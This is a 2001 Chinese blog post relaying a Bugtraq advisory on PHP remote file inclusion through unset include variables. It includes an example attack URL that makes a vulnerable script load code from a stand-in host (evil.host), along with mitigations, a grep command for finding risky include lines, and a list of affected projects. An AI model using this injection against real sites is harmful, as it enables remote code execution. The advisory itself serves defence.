PHP 程序的漏洞

由 徐永久 发表于 2001年10月17日 00:19。

本文公布了一种通过 PHP 程序的漏洞来入侵系统的办法。

这份电子邮件的头是这样的:

From: genetics@genetics.ath.cx
To: bugtraq@securityfocus.com
Subject: results of semi-automatic source code audit
Date: Tue, 2 Oct 2001 23:59:09 +0200

/*
* results of semi-automatic source code audit of a
* majority of php based open-source projects registered
* at Freshmeat.net or Sourceforge.net
*
* release date: 2001-10-02
*
* authors:
* atil
* genetics
* #yaht@ircnet, Yet Another Hacker Team
*/

–=[介绍]=–
php 本身随带的两个特色,缺省打开,而导致可能的源码泄漏以及执行任意的代码:
- 通过浏览器传递的参数存储在全局语义(context)中
- 文件系统的函数对 URL 透明

–=[背景]=–
这个漏洞对于 PHP 来说不是新玩意儿,也不是 PHP 的错或者 PHP 本身的源代码中有 Bug ,而是写 PHP 的人在大量采用 PHP 编写的项目中没有严格审查而已。

–=[我们的工作]=–
我们来看一个不经常被浏览器直接访问的文件,它被包含于另外一个文件,例如:
文件 helperfunction.php 中有这样一句:
include(“$includedir/library.php”);

如果变量 $includedir 在 include 语句执行前没有定义的话,我们就可以通过浏览器来传递:

http://vuln.host/helperfunction.php?includedir=http://evil.host/code

当脚本执行时,便会调用 http://evil.host/code/library.php 。现在要入侵系统就很简单了。

–=[解决办法]=–
php 本身不是不安全的,但是要写一个不安全的程序十分简单。下面是编写安全的 PHP 代码的几个解决办法:

- 给包含的 PHP 文件,设置为 Web 服务器不能执行。

- 把所有包含的 PHP 代码放到文档的根目录之外,采用文件权限或者 .htaccess 来限制。

- 最好的办法是采用常量:

在 main.php 中:
define(“MAINFILE”, true);
define(“CONFIGDIR”, “/some/path/”);
include(‘./some_function.inc’);

在 some_function.inc 中:
if ( !defined(“MAINFILE”) ) die (“this is a include file!”);
include(CONFIGDIR . “config.inc”);

如果在浏览器端,试图传递全局变量,不会影响以上对常量的定义。

- 使用 $HTTP_*_VARS 并且关闭客户端的全局变量。

–=[范围]=–

我们的检查只是限于有 include 文件的项目,但是您采用的系统没有在下面的列表中,并不表示你可以松口气了,其实,您还是需要仔细检查您的代码,采用现代脚本语言并不意味着您编写的代码就是安全的。

–=[对 ISP 的一些提示]=–
如果你是 ISP ,想对 网站上的 PHP 代码测试是否存在以上漏洞,可以采用如下方法:

find -type f -a -name ‘*.php*’ -print0 |
xargs -0 grep -l -E ‘(include|require)(_once)? *\( *”?\$’

产生的文件,需要手工进一步检查。

–=[有漏洞的项目]=–

Actionpoll http://sourceforge.net/projects/actionpoll
AWOL http://www.freshmeat.net/projects/awol
CCC http://www.cccsoftware.org
DarkPortal http://sourceforge.net/projects/darkportal
Empris http://empris.sourceforge.net
Moregroupware http://www.moregroupware.org
Phorecast http://phorecast.org
Phormation http://www.peaceworks.ca/phormation.php
pSlash http://www.pslash.com
The Gallery http://sourceforge.net/projects/gallery
webodex http://homepage.mac.com/ghorwood/webodex
Zorbstats http://freshmeat.net/projects/zorbstats
phpAdsNew http://sourceforge.net/projects/phpadsnew
myphppagetool http://myphppagetool.sourceforge.net
ActionPoll http://sourceforge.net/projects/actionpoll
SIPS http://sips.sourceforge.net
thatware http://thatware.org

相关文章

您可以 发表评论, 或者从您的网站trackback

发表评论

*
To prove you're a person (not a spam script), type the security word shown in the picture.
Anti-spam image